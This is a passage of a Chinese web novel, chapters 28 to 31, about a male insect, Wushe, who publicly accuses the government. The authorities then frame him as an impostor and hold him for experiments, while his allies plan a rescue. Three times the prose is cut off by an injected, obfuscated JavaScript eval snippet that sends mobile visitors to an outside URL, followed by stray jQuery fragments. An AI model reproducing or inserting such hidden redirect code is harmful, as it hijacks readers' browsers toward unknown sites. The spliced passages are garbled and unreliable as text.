中央空调运转,凛冽又灼烫的矛盾香气随气流四散,阶梯教室前排的学生已经闻到了这股气味,下意识追寻源头—— 乌舍身穿白衬衫,袖口略微挽起,露出白皙的手腕。腕骨凸起在皮肉下,像锋利嶙峋的顽石。 他在全场愈起的嘈杂与骚乱中保持着平静的姿态,甚至抬手调节了一下话筒,叫它更贴近自己唇边。 紧接着,雄虫冷淡的嗓音回荡在整个阶梯教室内: “这是我与同伴自主研发出的仿雄虫信息素香薰。” “大家现在闻到的,就是我的味道。” “当然,由于只是仿照信息素的气味制作,香薰本身没有任何真正的信息素所具备的功能,对于亟需雄虫精神力抚慰的雌虫们而言,它并无多少作用。” “但是......” 乌舍说到这里时笑了一下,短促的笑音通过设备扩散,震颤了每个听众的耳膜。 “但是它确实很逼真,在某些方面来说,对有所需求的雌虫、亚雌们的心理健康有好处。” “也许正是因为这个,政府看中了这个项目的研发成果,要求我将香薰配方上交,纳入政府专利。我拒绝了。” “被我拒绝后,当局采取了一系列措施,我仍旧没有答应。最后他们内部出具了一份鉴定报告,指控我出卖自己及同伴的信息素,构成贩卖器官、故意伤害等多项罪名。以此要挟我停止出售香薰,并服从他们的某些指令。” “正在看着我的所有朋友。”乌舍抬起眼皮,黑色的目光如夜笼罩了投来注视的虫群,他用一种真诚的、极具诱导性的语调诉说着谎言:“我们谁都知道,雄虫不会出卖自己,我也永远不会伤害包括自己在内的任何雄虫。以及其他性别的同胞。” “所以我想请你们帮助我,让我回归自由。” 28. 第 28 章 利都-某新闻网站 惊爆!雄虫当众求救!当局疑似威胁操控雄虫! 提线木偶?所谓“平权之星”是否只是政客手中游戏? 直播中断、求救讯息......一次演讲拉开利都百年来最大谜团! 各个版面被夸张的新闻标题占据,评论区也闹开了花: -什么意思什么意思? -md,乌舍阁下发完求助讯号就黑屏了,到底怎么回事? -还有不知道的啊?医科大的学生都出来说了,详细看这个链接 -不是,楼上分享的那个帖子我看过。但这是当时在场的学生口述吗?还是炒热度?真要发生这种事学校肯定会下令封口啊! -封口是一回事,学生听不听又是另一回事。匿名贴,怎么查? -关键也不止这一个帖子这么说啊,好多匿名贴都这么讲,还有直播中断后的偷拍视频!现在这几家有名的新闻报刊不都是根据爆料写的? -我靠,那也太崩溃了!照这么来说,那位阁下的一切所作所为都是政府示意的,所谓尊重雌虫和亚雌、英雄救美的特别雄虫根本就不存在,只是做戏?! -本来我就觉得假,世界上怎么可能有这样的雄虫。 -不是,怎么就给那位下定义了?人家也没说政府让他演戏啊,不是只说了强抢香薰配方的事情吗?现在最重要的是让政府解除对那位的控制,尊重阁下的研发吧? -对啊对啊,我觉得阁下也不像做戏啊......他在中心医院脑科整整半个月没受到一次投诉。如果只是被威胁不是真心对待病患,根本做不到这个程度吧? -真搞笑,去脑科的都是雌虫吧,雌虫会投诉雄虫吗?被挥拳揍到脸上也只会摇着尾钩死乞白赖凑上去吧? -我一直觉得对那位的追捧太过了,现在看来好像是个用信息素谋利的罪犯...... -不会吧?还真有站在政府那边的啊?雄虫如果愿意用自己的信息素换钱的话,利都还会有这么多单身虫? -谁不知道雄虫对自己的精神力和信息素在意到超过生命,反正我是没见过拿自己信息素去卖的雄虫。 -当局也太过分了吧,强买强卖不同意就拘禁雄虫。其实我觉得他们可能并不是在意这一项研发,而是利用这个借口要雄虫替他们做事才是真的..... -真有这种发明的话我想买啊!我听在场的学生形容是非常神秘瑰丽的气味! -这种时候能不能不要精虫上脑了,所以雄虫现状怎么样了啊?直播黑屏,不会被抓进监狱了吧? -天啊,担忧阁下! -大家看看这个,是一个时事分析博主,他聊了那位阁下的事。猜测了事情的真相,和政府到底要利用雄虫做什么事,我觉得他说的很有道理...... 新闻报道、博主解析、在场学生真真假假的爆料满天飞,舆论乱成了一锅粥。网友们对这件事的猜疑和讨论越演越烈,爆料是不是真的?如果是真的乌舍说的又是真是假?他现在怎么样了?政府到底要控制他做什么事? 除了对真相的探究,《星野》游戏论坛中分享乌舍游戏账号“冥”售卖的香薰的帖子也被翻了出来,一时热度高涨。其中对香薰气味、使用感的充分描述引发了大量网友对“仿雄虫信息素香薰”的好奇,一批匿名网友活跃在帖子里疯狂求购。 越发混乱的事态下,想要购买香薰的买家自然不愿意认为乌舍在犯罪,而许许多多曾经为“平权之星”狂热过的雌虫和亚雌心生怀疑和恐慌,怀疑自己追捧喜爱的对象只是政府设计的木偶,满怀一腔被愚弄的愤怒。曾经排挤怒斥乌舍是叛徒、败类的雄虫一转态度,认定他是可怜的受胁迫的同胞,顷刻团结起来朝政府施压。一时间,利都当局就被推到了舆论的风口浪尖。 真相究竟如何,民众需要一个澄清和解释。在这其中,作为当事者的乌舍扮演了至关重要的一环。 还是那间审讯室,乌舍和左伦分坐两头。 乌舍仍是平静镇定的模样,左伦却失了过去的从容,连总是梳得整整齐齐的发丝也凌乱,灰白的额发垂落几缕,像刚下某场会议匆匆赶来。 他盯着乌舍,手指敲击着桌面,显出无意识的焦虑。 “我真是.....低估你了。”左伦沙哑开口,“你一开始就策划好了?” 乌舍笑起来:“这重要吗?” 左伦沉默。 乌舍便继续道:“这不重要。你手上拥有的指控我的证据、那份香薰的成分鉴定书,这些都不重要了。你知道现在重要的是什么,民众在关心你们是不是把他们当成傻子,一旦他们认定一切只是做戏,那你们打算推出的《社会积分福利制度(试行)》,马上就会变成一叠废纸。” 左伦脸色阴沉,眉弓压下一个极富迫力的弧度,他知道乌舍说的是真的。 乌舍自己是雄虫,而政府在指控他贩卖自己的信息素,这件事究竟是真是假有待商榷不谈,对雄虫产生的伤害也微乎其微。因此在更爆炸性的事件出现后,矛盾被转移了,乌舍所作所为的真相不再那么值得追究,他们现在关注的是政府是否真的在操控乌舍。 这件事不仅涉及到雄虫的安全,更涉及到广大民众自身,关系到他们有没有被政客愚弄。生物总是会更在意切身利益相关的事,这一点无论是人类还是虫族都一样——地位倒转,现在左伦成了被架在火上烤的那个。 政府想要挽回舆论,乌舍的态度是必不可少的。 “你想要什么?” 左伦在长时间的沉默后终于开口。 乌舍双手自然交握,放松地搭在桌面上:“很简单,执行官。我要你们不再监管我的生活,为了表示对利都法律的尊重,我也不会再着手售卖香薰,让我们退回互不干涉的位置。” 他道:“如果你同意,我会向大众澄清这些日子的一切不是做戏。” 左伦沉声问:“那你怎么解释,你在演讲结束后指控的‘政府逼迫你做不愿意做的事’?” 乌舍笑了笑:“这很简单,我只要编造你们想让我和指定的雌虫结合这种说辞就可以,反正你们对于雄虫的关注不就集中在性和婚姻上么。” “我澄清后,你们再制造新的热点,把大众的关注点从操控雄虫扮演‘平权之星’这件事上引开,这对于你们来说并不困难吧。” 左伦发觉自己确实小看了这个雄虫。 也许正如乌舍说的,他们对雄虫的关注总是集中于性和婚姻上,并不多把他们当做有更多独立价值的同类看待。导致发生“商贸区平权宣言事件”后,即使政府在第一时间注意到了这个特别的雄虫,但只把他的“特别”与性别友好挂钩。 在他们内部的初次研判 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357332|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,对乌舍的定论仅限于:可以通过幕后操作,把这个似乎脾气难得好的雄虫的婚姻,交到更需要他的雌虫手中。 直到乌舍无知无觉地在他们的关注下做出了一连串胆大包天、叛经离道的事情,针对他的会议才变得频繁和严肃,经过激烈的争论,以左伦为首的“平权派”掌握了对待乌舍的话语权。他们决定利用乌舍的前期影响力,进一步巩固他“平权之星”的形象,竖起一个标杆——让承受恶劣对待的虫族,尤其是雌虫们别再麻木,并破坏雄虫之间诡异的凝聚性,让他们开始有竞争意识。 当一个处于雄虫福利底层的E级受到追捧和优待,层层爬高,甚至凌驾于高等级雄虫之上的时候。其他E级自然会想要复刻他的道路,C级、乃至B级的雄虫也会产生危机感,这就是《社会福利积分制度(试行)》能够发布并真正运行的底层逻辑。 他们几乎就要成功了。 在整个过程中,乌舍的意志并不重要,他们自认掌握了他的弱点,可以顺着自己的想法任意改变他的抉择。而乌舍虽然在谈判中表现出了出乎他们意料的镇定和敏锐,但最终仍然屈服了。 在几个由政府指派的任务中,他也十分配合,引发的舆论效应比他们预想的还要好。最初他们还会在行动前对这个雄虫耳提面命,重复威胁的话术,到后来只是简单的口头提醒。 至于收缴雄虫的终端、对他进行全方位的监控录音、搜身等惯常对于重点罪犯的手段,他们竟然从未考虑对雄虫用过。 也许是千百年来对于雄虫的保护惯性束缚住了他们的手脚,又或许是他们真的打从心底蔑视着雄虫,漠视雄虫可能具有的果敢、智慧,将他们的形象固化于阴鸷、暴虐和无知。 乌舍真真实实给他上了一课。 ——但这个极富潜力的雄虫仍旧太年轻,也太自傲,现在轮到左伦给他一个教训。 左伦缓缓直起肩背,在这个过程中,他的眉骨舒展,有一些隐晦的斟酌和犹豫从他眼梢散去。因此在雪亮的灯光下,他的面孔一片惨白,如同新塑的石膏像。既冷漠,又坚硬。 “网上流传的爆料帖里有个热度很高的现场视频,记录了直播中断后你的发言。标题是医科大学生现场拍录,实际上这个视频是你用终端录下,直接传到网上的吧?我们第一时间封查了在场学生的终端,不会有遗漏。” “是。” “你提醒了我,应该收缴你的终端。”左伦看着他,慢慢说:“接下来,你不会再有接触外界的机会了。” 乌舍意外挑眉,还没来得及体味这句话的含义,就见左伦打了个手势。罗西和另一个陌生的雌虫警卫进入审讯室,动作迅速地将他摁压在桌面上,扣住了他的双腕,收走了他手上的终端。 事态发展超出乌舍的预料,他的侧脸贴着冰冷的长桌,抬起的目光落到了罗西脸上。罗西和他对上视线,动作一顿,随即转开了眼睛。 “乌舍,我作为利都的执行官,代表着广大民众的利益。雄虫的特权压迫着雌虫和亚雌,已经到了不可不调和的地步,积分福利制度是唯一温和的出路。” “你本有机会成为这条路上的一员。” 阴影蜷缩在左伦深邃的五官轮廓里,与他脸上的亮面显出尖锐的色差,叫他整张面孔透出一种森然来。他注视着乌舍的发顶和一小片白皙的额头,发出了轻轻的叹息。 “但现在没有这条路了。” 29. 第 29 章 乌舍醒来的时候躺在一张雪白的实验床上。 他身上的衣服被换成了宽大的浅蓝色袍子,在脖颈和腰侧处有系带,一扯就能松开,露在外面的手脚都被金属镣铐拷着。 这是个布置成实验室的房间,陈设和他前世在地球上看的各类相关影片中的并无多大差别。惨亮的顶灯,空气中弥漫着消毒水的气味,身旁冰冷的金属台,台面上整齐摆放着剪刀、钳子、手术刀等器具。 唯一不同的是角落还放着一些独属于这个世界的、陌生的医用仪器,紧挨着虫族的骨架模型和全身CT扫描图。实验床正对面是单向的隔音玻璃,覆盖了一整面墙壁。 在他的无数幻觉之中,曾经有过这个场景,病发时他清醒地看着自己被解剖,身体里的五脏六腑敞开,煎熬过一整场剧痛的幻境。但说实话,他从未想过自己有一天真的会面对这种情形。 那支注射进他脖颈里的药剂不知道是镇定剂还是什么,他的大脑此刻昏昏沉沉,神经不如以往敏锐,难以冷静思考。 他深深地觉得意外。 自己的雄虫身份,以及这个世界对雄虫的保护力度让乌舍认为左伦投鼠忌器,不会真的对他下手,更何况对方别有所图。 来到这个陌生的世界后,他承认自己的每一步都在冒险,拿自己的,甚至拿身边这些虫族的生命。可他在冒险之余,仍有种运筹帷幄的自信,他俯瞰评估着这个社会,好像在看游戏沙盘,安排好了每一步。虽然不介意摔得粉身碎骨,但确实觉得可以安全的走下钢丝。 现在的情形告诉他,他错了。这毕竟不是游戏沙盘,沙盘里的也不仅仅是昆虫,这是个活着的世界,是一帮会思考的有自我意识的智慧生物,他不是观察者,他是局中人。 未知的恐惧轻微,细丝一样缠绕上乌舍的脊梁。 事情发展到这一步,他已经不打算再做什么。乌舍坦然接受死亡的结局,却不由忐忑于死去之前会接受什么待遇。 余光模糊捕捉到白色的影子,他下意识闭上眼睛。随即,两道身穿白大褂的身影出现在玻璃墙外,实验室的门传来轻微的动静。 “醒了没有?” “在说梦话吗?这是专门针对雄虫用的麻醉剂,能同时麻痹他们的身体和乱飘的精神力,更何况这个连精神力都没有。” “执行官说他不止是E级。” “那也够了,这是B类药剂,能麻痹B级及以下的雄虫两个小时,现在一小时还差五分钟。” “A类药剂的研究进度怎么样了?” “遇到很大困难,主要是样本太少……不过以后也许用不上了。” 声音逐渐靠近,脚步声混合着解剖器具在金属台面上翻动的声音,清脆的撞击低音冲撞着耳膜,乌舍尽可能地放松身体,平复加快的心率。 白大褂其中之一来到他身边,冷淡的目光落在他身上,居高临下地端详着他,动手解开了他的长袍。 对方将他的左肩扳过来,停顿两秒又放他躺平,接着裸露在微凉空气中的皮肤被涂上黏稠的胶状物质。 “不可思议,他真的没有虫纹。” “我认为是退化的一种表现形式。你知道的,自从……以后,雄虫的精神力和生育能力都在断崖式下降。万年前的A级精神力几乎可以辐射大半星球,现在……” “但精神力的衰退和虫纹消失是有区别的,这意味着雄虫的身体结构彻底改变了,这是一种趋势,照这样下去雄虫会和亚雌没有区别。” “所以他是个珍贵的样本,不确定整个虫族有多少雄虫已经失去了虫纹,或许只有他。这份身体数据是独一无二的。” “我现在觉得‘歌德利宣言’是一个需要用漫长时间来生效的诅咒,也许在它被说出口的那刻雄虫就已经消失了,结局已经注定,只是还未到来。” “如果结局已经注定,就没必要拿雌虫和亚雌的鲜血去延迟它。” 涂抹胶状物质后需要等药物凝固,脚步声重新响起,连同说话声一起逐渐远离,实验室的门开启又闭合,乌舍眼皮下的眼珠动了动。 利都-星政府官方账号。 账号发布声明:近日,“医科大直播指控事件”引发舆论争议,事件当事虫利用自身影响力,控诉政府强行占有其关于“仿雄虫信息素香薰”的研发成果,诱导公众对政府威信力产生质疑,特此澄清。 政府确在对当事虫实行严密监控,原因在于其有极大可能冒名顶替原乌舍·狄俄尼索斯·冥阁下进行活动。经调查取证,一是对比当事虫与原乌舍·狄俄尼索斯·冥阁下出生及25岁时登记的身份信息,结果显示不匹配。当事虫与原乌舍·狄俄尼索斯·冥阁下相貌不符,且不具有虫纹(原阁下现年28岁,此为最新采样记录);二是对其所生产香薰进行鉴定,官方鉴定机构出具报告表明,香薰中确含有雄虫信息素成分。 政府接购入香薰的雌虫实名举报,着手对当事虫展开秘密调查,推定当事虫真实性别为亚雌,周身携带信息素及其生产香薰的原材料是从原乌舍·狄俄尼索斯·冥阁下身上得来,具有绑架、囚禁、非法掠夺雄虫信息素的重大嫌疑。 目前当事虫已被警方逮捕,预备进行下一步讯问,原乌舍·狄俄尼索斯·冥阁下当前落不明。有相关线索者请及时联系警方。 声明结尾附上了两组对比图片,一组是乌舍现在的样貌和他23时的样貌对比;另一组是他现在光滑一片、只剩一颗红痣的左肩和曾经覆盖着青灰虫纹的左肩对比。另附有一份附件,是香薰成分鉴定报告书和购入香薰雌虫的举报录音。 此声明一出立刻引发了轩然大波,声势不亚于乌舍先前在医科大当众发表求助信息,一波三折的事态发展让舆论沸腾到新的高度。 众所周知,无论在哪个星球,雄虫从是颗蛋的时候就会进行登记,在他们破壳之日起会进行完整的身份信息备案,包括身体表征、精神力等级、信息素浓度等等,之后随着雄虫的成长每五年更新一次,由官方工作成员上门采样。 声明中说乌舍和那位“真正的阁下”最新登记的身份信息不相符,尤其是表明了他没有雄虫生来就有的虫纹,作出他真实性别为亚雌的判断结论,可谓是釜底抽薪。 原本舆论聚焦的关键点在于,政府通过操控雄虫影响社会现状,至于其他的诸如政府掠夺雄虫研发成果、限制雄虫自由行动都是附带的议题。现在官方声明直接将这个质疑点的基础——乌舍是个雄虫这一事实给否了,既然乌舍连雄虫都不是,政府自然不可能试图利用他做什么。 而出具的鉴定报告和举报录音,又佐证了乌舍出售的香薰并非所谓的“仿雄虫信息素”,进一步验证了他似乎真的是一个非法获取雄虫信息素谋利的亚雌,那么政府对他进行监控和羁押合情合理。 巨石落下,利都各大线上平台的讨论都爆了。 -这是什么,是悬疑剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357333|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?还是恐怖片? -也就是说乌舍阁下根本就不是乌舍阁下,是个冒名顶替的亚雌。真的阁下可能被囚禁在某个地方天天被挖信息素!天啊! -简直丧心病狂!世界上居然会有这么歹毒的亚雌,差点把我们都骗了! -之前不是还有《星野》游戏论坛的帖被扒出来,都是购买了那个香薰的雌虫和亚雌在说使用感吗?居然只有一个雌虫报警了,其他虫难道都没感觉到不对吗?还是感觉到了却默不作声,你们都是帮凶! -虽然我很想要雄虫信息素没错……但这样的渠道还是太可怕了,完全是在犯罪…… -本来说有这样的仿制技术真是造福大众,我都心动了,倾家荡产也想要买一支。但是冷静下来觉得确实不可能,连首都星的科学院都做不到的事,一个“雄虫”怎么可能就做到了 -首都科学院仿的是气味、功能和雄虫信息素完全一致的合成信息素,和这个冒名亚雌说的只是仿味道不一样…也算他有自知之明,只是碰瓷说仿味道,但天网恢恢疏而不漏,还是被抓到了吧! -虽然不想这样说,但不得不承认,我从来没见过会帮助被家暴的雌虫、亚雌幼崽的雄虫,给陌生幼崽糖吃的雄虫,会去医院脑科当义工的雄虫。如果这是个亚雌,那一切都说得通了,只有亚雌和雌虫会互相帮助 -不是,就这样轻信了政府的一面之词吗?乌舍阁下到现在都还没说过话啊,官方说他被羁押,那就名正言顺剥夺了他进行澄清的权利,只是伪造鉴定结果和录音照片根本不困难吧? -对啊对啊,而且之前阁下做了那么多好事的时候,不是还有很多现身说法的雌虫亚雌么?你们亲口说过的阁下虽然冷淡但很温柔,身上的信息素非常特别,有信息素怎么能说是亚雌呢? -现在还有虫在执迷不悟啊,快醒醒吧。不是说原本的阁下被绑架了吗,这个亚雌都用阁下的信息素做出香薰来卖了,那平常往身上一喷不就可以假装是自己的气味了?反正阁下是E级,无法直接使用精神力,没有谁可以从精神力这一点来揭穿他。 -我不是不相信政府,可是我有一个疑惑…如果这个亚雌胆大包天干出这种事是为了卖信息素香薰谋利的话,他应该偷偷做吧?他那么大张旗鼓的帮助雌虫和幼崽,还去做义工,引发了那么多关注,肯定会吸引官方视线的啊,这不是找死吗? -表演型罪犯吧,有些丧心病狂的罪犯就是这样。以前不是还有星盗绑架雄虫后,强X还开直播的吗? -求录屏资源 -楼上没病吧? -饥渴的疯子,发.情能不能看看场合 -我是专门做这个的,鉴定报告太专业了弄不懂,单从技术角度,官方放出的照片和录音都是没p过的 -不得不说这个亚雌长得确实......不过这么对比一看和原阁下长得根本一点都不一样啊,况且连虫纹都没有,这么久以来居然都没被发现,真是非常离谱了! -这也是政府的失职吧 -听说原阁下是忒修鲁送来的雄虫,在这边没有亲戚长辈。似乎也不擅长社交,总是自己待着,所以也没有朋友发现 -天呐,简直提供了完美的受害条件,阁下太可怜了......一定要平安啊 -这个亚雌要被处死吧,简直是利都历史上最疯狂的罪犯! -认同,但一定要让他供出真正的乌舍阁下在哪里再进行处决! 30. 第 30 章 何慈林坐在沙发上,盯着利都官方发表的声明和最新的种种评论,脑子“嗡”的一声。 他一动不动看着终端屏幕,即使再怎么自我说服,也无法认为眼下的情况是乌舍计划中的一环——乌舍与他们见过许多面,也谈过许多次,虽没有把自己的安排全盘托出,但大体计划他们都是知晓的。 在之前的一段时间里,政府的每个动作、引起的舆论反应都和乌舍说的相差无几,何慈林原本已经逐渐放下了心。 然而,在计划的最后环节,如果按乌舍所说发展,他本该与政府达成交易恢复自由,现在利都当局却明显是掀了谈判桌。现在乌舍在他们手里,不知会面临什么样的结局。 新闻头版将乌舍定性为罪大恶极的“亚雌”嫌疑人,硕大的“应判死刑”四字刺入何慈林的双眼,让他胸口后背一片发凉。 恰逢这时传来脚步声,他惊慌抬头,刚叫出一句“哥哥”,就看见面色难看的何冬塞背后跟着一个陌生雌虫。 这个雌虫明显陷入了暴徒化,不过应当还在早期,他眼球中爬着密集的、细细的红血丝,但一对天蓝色的眸子尚还澄澈。此刻这双眼眸暗沉,如同汹涌起伏的海面。 雌虫佩戴着金属口枷,漆黑的冲锋衣勾勒出精实健硕的身形。他面朝何慈林自我介绍: “我来自放逐区,是替乌舍阁下出售香薰的雌虫。” 何慈林这辈子第一次见到活生生的暴徒,下意识发出惊呼。何冬塞侧身挡在他和索玛之间,何慈林发现兄长的颈侧带着青紫的伤痕,像是刚刚被用力地钳制过脖颈。 他顿时明白了对方是如何登堂入室,不由升起警惕,问。 “你来做什么?” “我想和你们谈一谈,关于乌舍阁下的事。” “乌舍阁下在初受政府监管时曾经对我说,如果他恢复自由,将乘坐星舰前往冥王星——他已经委托一名雌虫购买了星舰,并获得了出境申请的许可。” “我相信他会做出最好的安排,但现在事态发展显然超出了预料。” 乌舍在接受政府监管时曾经和索玛在家里碰面,索玛没说出口的是,当时乌舍看着他,平静地吐露了另外一条路。 凡事总有意外。雄虫神情淡然,深邃的眼睛无风也无浪,我有我的办法让政府妥协,但如果我失败了,索玛,你回赫拉德吧。 在将近一年的联系中,索玛已将自己的出身和经历全盘托出。对于他搏出的军功和巅峰时期沦入暴徒的下场雄虫没有作出什么反应,看起来似乎并未放在心上,索玛甚至以为他已经把这件事忘了。 但在被当局盯上后,雄虫第一次提起了他的过去,把装着两管新鲜血液的冷冻箱递给了他,说。 “你用生命搏来的功勋,现在也将是你的护身符。假使真到那一步,我会担下所有罪责,你们大可以说是受我的诱哄和胁迫。在我伏罪后,你带着我的邻居,何冬塞、何慈林兄弟离开利都,他们是我的合作伙伴,其中一个是太阳花的主人——星舰我已经安排好,你联系菲拉洛,他会送你们前往赫拉德。” “听说那里对雄虫很友好,虽然有许多关于雄虫需要付出劳动的社会制度,但同时也代表了更多的就业机会和权利保障。你熟悉赫拉德,要尽快教会他们如何在那里生存。” “这是我的血,总共250ml,你省着点用,大概能坚持到医疗申请被部队通过的那天。” 雄虫说,我的生命无关紧要,你们是这个世界的原住民,理应在这里活下去,最好活得很好。 索玛理解不了乌舍的最后一句话,他愤懑于雄虫对自己宝贵生命的不珍惜,把这句话当做提早的告别词。他没有接受乌舍的血,乌舍却说他会把血液放在家里等他需要时来取,并把菲拉洛的联系方式和大门开启权限一起发到了他的终端上。 其实乌舍给他安排的退路十分妥当,他在放逐区安安稳稳地当几十年未来无望的行尸走肉,不见得会比拿着雄虫的血液回到赫拉德等待就医许可好。 可他毫无犹豫地拒绝了雄虫,直到今天也没有按照对方安排的退路行动的打算。 他甚至面不改色对眼前的另一个雄虫撒谎,和对方谈判。 “我不知道政府的那些照片是哪儿来的,但我们都知道,乌舍阁下是毋庸置疑的雄虫,绝不存在调包。所谓的‘绑架’、‘监禁’和‘非法掠夺雄虫信息素’这些罪名,只是政府扣押他的借口,是欺瞒民众的谎言。” “如果任由他们给阁下定罪,同样参与这件事的我们就是政府的下一个逮捕对象。” 何慈林听完,问:“所以你来这里,是想和我们联手把乌舍救出来?” 索玛坦然承认:“没错,这也是为了我们自己的安全。” “是吗?”何慈林不置可否:“可我是雄虫,甚至还没有成年,我完全可以说自己受到了哄骗、教唆,依照法律,他们不能对我怎么样。” 索玛把视线转移到旁边的何冬塞身上:“即使您推去罪责可以得到豁免,那您的兄长呢?雌虫贩卖雄虫信息素是重罪。” 何慈林静默一瞬,随即道:“是我被哄骗后命令他参与的,而且乌舍也是雄虫,他受到两个雄虫的指令,自然只能照做。” 索玛分毫不让:“就算他没有主观故意,但参与贩卖雄虫信息素是事实,惩罚在所难免。” “况且。”他尖锐地问:“他们尚能把乌舍阁下歪曲成一个亚雌,毫无负担地对雄虫出手。阁下,您认为当局对现有的《雄虫特殊保护条例》有多少敬畏之心呢?您作为雄虫,又真的能在法律下得到多少庇佑呢?” 话音落下,在寂静的室内砸出一片寒意。索玛原本是为了说服何慈林才口出反驳,但说完之后脊背却无声发冷,后知后觉反应过来政府态度的奇异。 他们不惜把乌舍的性别扭曲,也要让他处于控制之下的理由是什么呢? 是因为乌舍暗示了大众当局在拿他做戏吗? 那么当局推出一个完美的雄虫傀儡,操控舆论,到底是想要打磨出怎样一个社会? 何冬塞张口,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357334|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在说话前,何慈林已经先一步说。 “你说的这些恐吓不了我。” 何慈林一顿,又露出淡淡的笑容:“但是我还是会答应你,因为我也想救出乌舍。” 何冬塞意外地看了他一眼,却没有发表什么反对意见。他像棵不善言辞的巨木,挡在脆弱的胞弟身前,默然承受着袭来的所有风雨。 索玛骤然放松,快速商议后,他前往乌舍家中取走冷冻箱离开。而何慈林在网上发了个自爆的帖子,以视频录像的形式。 他在视频中主动认领了自己是乌舍所售信息素香薰气味的另一个主人,说明自己是乌舍的邻居,但最近一年才和乌舍有了交集,此前从未见过对方,因此被乌舍的表象蒙蔽,丝毫不怀疑他的雄虫身份。 乌舍假借研究之名向他讨要体.液,宣称要打造和雄虫信息素气味一致的香薰,这样不仅他们可以获利,也能让广大急需信息素抚慰的雌虫受益,哪怕只是心理上的。 何慈林表示自己信以为真,乌舍开始售卖香薰并给他分成后他也只以为自己是“技术入股”,拿到手的是合法的红利而非脏款。 视频结尾何慈林眼中蓄泪,抽噎不止。 “我现在认识到了自己的错误,愿意配合警方调查……但是在我的印象里,乌舍是个非常富有同情心、非常绅士的雄虫,他平等地对待雄虫、雌虫和亚雌,尊重成虫也尊重幼崽。对不起,我并不是要替他脱罪,只是我至今无法相信他是个假冒雄虫的亚雌。希望政府能够开放探视渠道,让我见他一面,也让利都全体民众看清事情真相。” 帖子一经发出,短短时间内热度超过百万。当前大众对雄虫偏爱和包容者占大多数,看见发声者是雄虫心已经软了三分,何慈林的眼泪和细语又唤醒了他们对于乌舍所作所为的记忆。是商贸区的见义勇为、平权宣言的掷地有声,是医院中俯身给摔倒的幼崽一颗糖,是在脑科诊室坚持做满半个月的义工…… 曾经为乌舍疯狂过的民众们不由动摇,从一面倒认定乌舍是穷凶极恶罪犯的舆论裹挟中醒神,开始思考。 乌舍真的是亚雌吗?现在他又在哪里?政府说在对他进行讯问,讯问结果如何? 如果乌舍真的是亚雌罪犯,这个被误导后,站出来勇于承认错误的善良雄虫又要接受什么样的审判? 随着视频热度一路高涨,原本乱成一锅粥的舆论逐渐凝聚,在何冬塞雇佣的水军的引导下,形成了指向性清晰的要求。 他们希望政府开放探视渠道,最好能进行直播,对乌舍进行公开的讯问和审判。 何慈林红着眼眶实时盯着舆论,眼中已经没了眼泪,他紧张地攥着手指,想着索玛走前说过的话。 ——政府不会同意公开审判的,但在舆论要求下,很大概率会同意让你进行探视。还可能会利用你,让你表态坐实乌舍阁下的亚雌身份。 如果能够见到乌舍阁下,他们的所有要求你都可以配合,只要摸清一件事。就是乌舍阁下现在被关在哪里,弄清楚这个,剩下的我来做。 31. 第 31 章 在鼎沸的舆论声潮下,政府开放了乌舍的探视渠道。 在利都,所有犯罪嫌疑人、罪犯都有获得探视,面见律师的权力,政府如果拒绝探视申请,无疑会让民众偏向质疑的一方。但正如索玛猜测的,他们拒绝了公开讯问和公开庭审,理由也是现成的。 ——这件事里还涉及到其他两位雄虫,一是下落不明的真正的“乌舍”,二是何慈林,秘密审讯是为了保护雄虫隐私。 舆论总体上接受了这个解释,利都的所有民众将注意力放在了何慈林和乌舍的这次会面上。 何慈林穿着纯黑的长袖,臂弯内搭着件深色外套。终端收到官方发来的消息后,过去半个小时,在家门口等来了政府派来的公用车。 罗西下车请他上去,何慈林忍不住回头看了眼身后的兄长,何冬塞握了握他的手,问。 “我可以一起去吗?” 罗西面无表情地摇头拒绝,这其实在他们预料之内,何冬塞缓慢放开何慈林的手,摸了摸他的头发,何慈林深吸一口气坐进了车里。前方的驾驶员是身穿警服的亚雌,罗西上车坐在了副驾驶座,中间的挡板升起,隔绝了车辆前后。 何慈林坐在好似缩小版囚牢的后车厢内,望着连信息素都透不过的挡板,歇了打探乌舍情况的心思。 到了目的地,何慈林发现关押乌舍的地方不在警局,而在与警局相连、位于后方的一栋看似平平无奇的建筑。 这栋建筑呈圆型,灰色的,露在地表之上,像睁开的半只眼睛,也像惨淡的坟包。 他们在建筑正门口下车,何慈林看见前方已经站着一个雌虫。对方西装革履,灰白的头发梳得整齐,神情不怒自威。他见过这个雌虫的照片,对方正是目前利都的最高执行官。 “您好,阁下。”左伦对他露出一个微笑,“身边有这样一个罪犯,您受惊了。” 何慈林心脏一颤,垂下头说:“我、我也不知道事情会是这样......” 